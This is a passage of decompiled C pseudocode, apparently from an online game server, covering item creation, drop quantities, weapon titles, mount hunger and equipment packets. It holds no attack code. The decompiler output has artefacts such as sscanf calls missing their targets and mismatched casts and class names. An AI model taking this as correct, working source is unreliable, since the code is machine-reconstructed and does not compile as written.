sscanf(arg + 2, "%d/%d") == 2 ) { v6 = (signed __int16)arg; v7 = (int)((char *)v4 + 2 * v5 + v5); *(_BYTE *)(v7 + 1) = (_BYTE)option; *(_WORD *)(v7 + 2) = v6; v4->fixed.optionnumber.str._bf0 = v4->fixed.optionnumber.str._bf0 & 1 ^ ((v4->fixed.optionnumber.str._bf0 & 0xFE) + 2); } } } } //----- (00556AC0) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); itm->iti_itemstruct.itemattr.blot.lot = (char)arg; } } //----- (00556B00) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = (_WORD)arg; } } //----- (00556B40) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = arg; } } //----- (00556B80) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // edi@1 char v5; // al@1 char v6; // al@4 char v7; // al@7 signed int v8; // edx@9 bool v9; // zf@9 bool v10; // sf@9 int v11; // ecx@10 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { itm->iti_itemstruct.itemattr.amulet.upgradefailcount = 0; itm->iti_itemstruct.itemattr.amulet.strengthen = 0; itm->iti_itemstruct.itemattr.amulet.upgrade = 0; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[0] = 0i64; itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot &= 0xFFu; itm->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 1; itm->iti_itemstruct.itemattr.blot.lot = 0; } v6 = v4[1]; if ( v6 == 80 || v6 == 112 ) ItemAttributeClass::iac_Setoption(&this->baseclass_0.baseclass_0, &itm->iti_itemstruct.itemattr.amulet.option, v4); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v8 = 0; v9 = arg == 0; v10 = (signed int)arg < 0; itm->iti_itemstruct.itemattr.amulet.upgrade = (char)arg; if ( !(v10 | v9) ) { do { rndbox.rb_box[5].rs_point.value = rndbox.rb_box[5].rs_point.mask & (rndbox.rb_box[5].rs_point.value + 1); v11 = rndbox.rb_box[5].rs_slot[rndbox.rb_box[5].rs_point.value]; rndbox.rb_box[30].rs_point.value = rndbox.rb_box[30].rs_point.mask & (rndbox.rb_box[30].rs_point.value + 1); itm->iti_itemstruct.itemattr.amulet.upgradeopton[v11] += rndbox.rb_box[30].rs_slot[rndbox.rb_box[30].rs_point.value] + 5; ++v8; } while ( v8 < (signed int)arg ); } } } //----- (00556C50) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // ecx@13 int v9; // eax@13 signed int v10; // edx@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; v8->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; v9 = (int)&v8->iti_itemstruct.itemattr.amulet.strengthen; v10 = 3; do { *(_WORD *)(v9 - 2) = -1; *(_DWORD *)v9 = 0; v9 += 6; --v10; } while ( v10 ); *(_DWORD *)&v8->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value &= 0xFFu; HIBYTE(v8->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value) = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = 0; *(_WORD *)&v8->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_type = -1; v8->iti_itemstruct.itemattr.weapon.option.fixed.optionnumber.str._bf0 = 1; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, &itm->iti_itemstruct.itemattr.weapon.option, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (00556D20) -------------------------------------------------------- void __thiscall ItemAttrCls_Shield::iac_itemcreate(ItemAttrCls_Shield *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // eax@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) &= 0xFFu; BYTE2(v8->iti_itemstruct.itemattr.dlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; BYTE3(v8->iti_itemstruct.itemattr.dlot.lot) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (00556DD0) -------------------------------------------------------- void __thiscall ItemAttrCls_Boot::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // eax@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) &= 0xFFu; BYTE2(v8->iti_itemstruct.itemattr.dlot.lot) = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; v8->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; BYTE3(v8->iti_itemstruct.itemattr.dlot.lot) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (00556E80) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_itemcreate(ItemAttrCls_Furniture *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // dl@1 int v5; // esi@1 v4 = itm->iti_itemstruct.itemattr.blot.lot & 0xFE; BYTE3(itm->iti_itemstruct.itemattr.dlot.lot) = 0; v5 = *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3); itm->iti_itemstruct.itemattr.blot.lot = v4; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) = (unsigned __int8)v5; HIBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value) = 0; *(_DWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1) &= 0xFFu; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[0] = 1133117440; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[2] = 1136820224; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] = 1086324736i64; *(unsigned __int16 *)((char *)&itm->iti_itemstruct.itemattr.wlot.lot + 1) = 0; itm->iti_itemstruct.itemattr.amulet.option.optionlist[3].itemoption_type = 0; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[3].itemoption_value = 0i64; } //----- (00556ED0) -------------------------------------------------------- void __thiscall ItemAttrCls_MiniHouseSkin::iac_itemcreate(ItemAttrCls_ActionItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; } //----- (00556EE0) -------------------------------------------------------- void __thiscall ItemAttrCls_BindItem::iac_itemcreate(ItemAttrCls_BindItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 char v6; // al@4 char *v7; // ecx@6 bool v8; // zf@6 bool v9; // sf@6 char *v10; // eax@7 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)(itmid, itm, "-n1"); v6 = v4[1]; if ( v6 == 78 || v6 == 110 ) { sscanf(v4 + 2, "%d"); v7 = arg; v8 = arg == 0; v9 = (signed int)arg < 0; itm->iti_itemstruct.itemattr.blot.lot = (char)arg; if ( !(v9 | v8) ) { v10 = (char *)itm->iti_itemstruct.itemattr.amulet.upgradeopton; do { *((_DWORD *)v10 - 1) = 10000; *(_DWORD *)v10 = 10000; *((_WORD *)v10 - 3) = -1; v10 += 10; --v7; } while ( v7 ); } } } //----- (00556F60) -------------------------------------------------------- void __thiscall ItemAttrCls_ItemChest::iac_itemcreate(ItemAttrCls_ItemChest *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 79 || v4 == 111 ) itm->iti_itemstruct.itemattr.blot.lot &= 0xF0u; } //----- (00556F80) -------------------------------------------------------- void __thiscall ItemAttrCls_KQStep::iac_itemcreate(ItemAttrCls_KQStep *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 79 || v4 == 111 ) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; } else { if ( v4 == 83 || v4 == 115 ) { sscanf(arg + 2, "%d"); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = (_WORD)arg; } } } //----- (00556FD0) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_itemcreate(ItemAttrCls_Riding *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = RidingInitHungry(itmid); *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 2) = 0; *(_WORD *)&itm->iti_itemstruct.itemattr.amulet.upgradefailcount = 0; } //----- (00557000) -------------------------------------------------------- void __thiscall ItemAttrCls_Amount::iac_itemcreate(ItemAttrCls_Amount *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 v4 = ItemDataBox::operator__(&itemdatabox, itm->iti_itemstruct.itemid); if ( v4 ) *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = v4->data->MaxLot; else *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 1000; } //----- (00557040) -------------------------------------------------------- void __thiscall ItemAttrCls_CostumWeapon::iac_itemcreate(ItemAttrCls_CostumWeapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = WeaponCostumInitCharge(itmid); } //----- (00557070) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_GetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti) { return *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot; } //----- (00557080) -------------------------------------------------------- void __thiscall ItemAttrCls_CostumWeapon::iac_SetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti, int num) { *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot = num; } //----- (00557090) -------------------------------------------------------- char __thiscall ItemAttrCls_Riding::iac_GetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct) { return *(_WORD *)&itemstruct->itemattr.amulet.upgradefailcount >> 15; } //----- (005570A0) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_SetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct, char ride) { *(_WORD *)&itemstruct->itemattr.amulet.upgradefailcount = *(_WORD *)&itemstruct->itemattr.amulet.upgradefailcount & 0x7FFF | ((unsigned __int8)ride << 15); } //----- (005570D0) -------------------------------------------------------- int __cdecl upgradeselect(ShineReward *reward) { unsigned int v1; // eax@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // edx@1 int v7; // esi@2 v1 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v1; v2 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v1]]; v3 = *((_DWORD *)v2 + 8193) & (*((_DWORD *)v2 + 8192) + 1); *((_DWORD *)v2 + 8192) = v3; v4 = *(_WORD *)&v2[2 * v3]; v5 = 0; v6 = (char *)reward->Upgrade; do { v7 = *(_WORD *)v6; if ( v4 < v7 ) break; v4 -= v7; ++v5; v6 += 2; } while ( v5 < 0xA ); return v5 < 0xA ? v5 : 0; } //----- (00557140) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { itm->iti_itemstruct.itemattr.blot.lot = LOBYTE(reward->Quantity); } //----- (00557160) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = LOWORD(reward->Quantity); } //----- (00557180) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = reward->Quantity; } //----- (005571A0) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 342627280), &itm->iti_itemstruct.itemattr.amulet.option); } //----- (005571E0) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; itm->iti_itemstruct.itemattr.blot.lot = upgradeselect(reward); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 342627280), &itm->iti_itemstruct.itemattr.weapon.option); } //----- (00557230) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; itm->iti_itemstruct.itemattr.blot.lot = upgradeselect(reward); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 342627280), (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton); } //----- (00557280) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_equipbriefinfo(ItemAttributeClass *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7172; nc[1].protocol = hnd; LOBYTE(nc[2].protocol) = slot; return 5; } //----- (005572B0) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_equipbriefinfo(ItemAttrCls_Amulet *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { return 0; } //----- (005572C0) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_equipbriefinfo(ItemAttrCls_Weapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { signed int v7; // eax@1 char *v8; // edx@1 char *v9; // eax@7 unsigned __int16 v10; // cx@7 nc->protocol = 7173; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; LOBYTE(nc[3].protocol) = itm->itemattr.blot.lot; v7 = 0; v8 = (char *)&itm->itemattr.dlot.lot + 3; while ( *(_WORD *)&itm->itemattr.amulet.option.optionlist[1].itemoption_type != *(_WORD *)v8 ) { ++v7; v8 += 6; if ( v7 >= 3 ) { *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = -1; HIBYTE(nc[4].protocol) = 0; goto LABEL_8; } } if ( v7 < 3 ) { v9 = (char *)itm + 6 * v7; v10 = *(_WORD *)(v9 + 5); *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = v10; HIBYTE(nc[4].protocol) = CWeaponTitle::GetLevel(weapontitle, v10, *(_DWORD *)(v9 + 7) & 0xFFFFFFF); } else { *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = -1; HIBYTE(nc[4].protocol) = 0; } LABEL_8: if ( pOutNew_WT_MobID ) *pOutNew_WT_MobID = *(unsigned __int16 *)((char *)&nc[3].protocol + 1); if ( pOutNew_WT_TitleLevel ) *pOutNew_WT_TitleLevel = HIBYTE(nc[4].protocol); return 10; } //----- (00557370) -------------------------------------------------------- int __thiscall ItemAttrCls_Shield::iac_equipbriefinfo(ItemAttrCls_Boot *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7171; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; LOBYTE(nc[3].protocol) = itm->itemattr.blot.lot; return 7; } //----- (005573A0) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_equipbriefinfo(ItemAttrCls_CostumWeapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7170; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; return 6; } //----- (005573D0) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_DropItemMake(ItemAttrCls_ByteLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { signed __int64 v4; // qax@1 v4 = 274877907i64 * rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1); itm->iti_itemstruct.itemattr.blot.lot = LOBYTE(ig->ig_quantitylow) + (SHIDWORD(v4) >> 6) + (unsigned __int8)(HIDWORD(v4) >> 31); } //----- (00557410) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_DropItemMake(ItemAttrCls_WordLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { signed __int64 v4; // qax@1 v4 = 274877907i64 * rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = ig->ig_quantitylow + (SHIDWORD(v4) >> 6) + (unsigned __int16)(HIDWORD(v4) >> 31); } //----- (00557450) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_DropItemMake(ItemAttrCls_DwrdLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = ig->ig_quantitylow + rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) / 1000; } //----- (00557490) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_DropItemMake(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { unsigned int v4; // eax@1 char *v5; // ecx@1 char *v6; // eax@6 signed int v7; // ecx@6 v4 = 0; v5 = (char *)ig->ig_upgraderate; while ( *(_WORD *)v5 <= rnd1000 ) { ++v4; v5 += 2; if ( v4 >= 0x10 ) goto LABEL_6; } itm->iti_itemstruct.itemattr.blot.lot = v4; LABEL_6: itm->iti_itemstruct.itemattr.blot.lot = 0; v6 = &itm->iti_itemstruct.itemattr.amulet.strengthen; v7 = 3; do { *((_WORD *)v6 - 1) = -1; *(_DWORD *)v6 = 0; v6 += 6; --v7; } while ( v7 ); itm->iti_itemstruct.itemattr.weapon.option.fixed.optionnumber.str._bf0 = 1; } //----- (005574F0) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_DropItemMake(ItemAttrCls_Boot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { unsigned int v4; // eax@1 char *v5; // ecx@1 v4 = 0; v5 = (char *)ig->ig_upgraderate; while ( *(_WORD *)v5 <= rnd1000 ) { ++v4; v5 += 2; if ( v4 >= 0x10 ) { itm->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; return; } } itm->iti_itemstruct.itemattr.blot.lot = v4; itm->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; } //----- (00557530) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_wptitle_Setlicense(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid) { return 3; } //----- (00557540) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_wptitle_Setlicense(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid) { signed int v4; // eax@1 char *v5; // ecx@1 signed int v6; // eax@4 char *v7; // ecx@4 signed int v9; // ecx@9 v4 = 0; v5 = (char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3; do { if ( *(_WORD *)v5 == mobid ) return 1; ++v4; v5 += 6; } while ( v4 < 3 ); v6 = 0; v7 = (char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3; while ( *(_WORD *)v7 != -1 ) { ++v6; v7 += 6; if ( v6 >= 3 ) return 2; } v9 = 0; if ( *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) != -1 ) v9 = 1; if ( itm->iti_itemstruct.itemattr.amulet.upgradeopton[1] != -1 ) ++v9; if ( itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] != -1 ) ++v9; if ( !v9 ) { *(_QWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1) = *(_QWORD *)&pcharid->n4_name[0]; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[4].itemoption_value = *(_QWORD *)&pcharid->n4_name[8]; itm->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_type = 0; } *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 6 * v6 + 3) = mobid; return 0; } //----- (005575E0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Weapon::iac_wptitle_mobkilladd(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue) { signed int v4; // eax@1 char *v5; // ecx@1 unsigned int result; // eax@4 int v7; // eax@5 int v8; // ecx@5 char *v9; // edx@5 v4 = 0; v5 = (char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3; while ( *(_WORD *)v5 != mobid ) { ++v4; v5 += 6; if ( v4 >= 3 ) return -1; } v7 = 3 * v4; v8 = *(_DWORD *)(&itm->iti_itemstruct.itemattr.amulet.strengthen + 2 * v7); v9 = &itm->iti_itemstruct.itemattr.amulet.strengthen + 2 * v7; result = addvalue + (v8 & 0xFFFFFFF); *(_DWORD *)v9 = v8 ^ (result ^ v8) & 0xFFFFFFF; return result; } //----- (00557630) -------------------------------------------------------- char (*__thiscall ItemAttributeClass::iac_wptitle_Gettitle(ItemAttributeClass *this, ItemTotalInformation *itm))[17] { return (char (*)[17])&nullstr; } //----- (00557640) -------------------------------------------------------- char (*__thiscall ItemAttrCls_Weapon::iac_wptitle_Gettitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm))[17] { return (char (*)[17])((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1); } //----- (00557650) -------------------------------------------------------- bool __thiscall ItemAttrCls_Weapon::iac_wptitle_Settitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]) { char (*v4)[17]; // eax@1 char v5; // cl@2 v4 = ptitle; do { v5 = *(_BYTE *)v4; (*v4)[(char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1 - (char *)ptitle] = *(_BYTE *)v4; v4 = (char (*)[17])((char *)v4 + 1); } while ( v5 ); return 1; } //----- (00557670) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_FoodEat(ItemAttrCls_Riding *this, ItemTotalInformation *itm, int hungry, int maxhungry) { int v4; // eax@1 v4 = hungry + *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot; if ( v4 > maxhungry ) v4 = maxhungry; if ( v4 < 0 ) LOWORD(v4) = 0; *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = v4; } //----- (005576A0) -------------------------------------------------------- int __thiscall ItemAttrCls_Riding::iac_GetHungry(ItemAttrCls_Riding *this, ItemTotalInformation *itm) { return *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot; } //----- (005576B0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttributeClass::iac_wptitle_Getlicencemob(ItemAttributeClass *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm) { return -1; } //----- (005576C0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttrCls_WeaponTitlaLicence::iac_wptitle_Getlicencemob(ItemAttrCls_WeaponTitlaLicence *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 unsigned int v5; // eax@2 v4 = ItemDataBox::operator__(idb, itm->iti_itemstruct.itemid); if ( v4 ) { v5 = BTree::operator__(&mdb->mdb_btree, &v4->data->InxName[4]); if ( v5 == -1 ) LOWORD(v5) = -1; } else { LOWORD(v5) = -1; } return v5; } //----- (00557700) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_SetFurnitureKey(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 key) { *(unsigned __int16 *)((char *)&iti->iti_itemstruct.itemattr.wlot.lot + 1) = key; } //----- (00557710) -------------------------------------------------------- int __thiscall 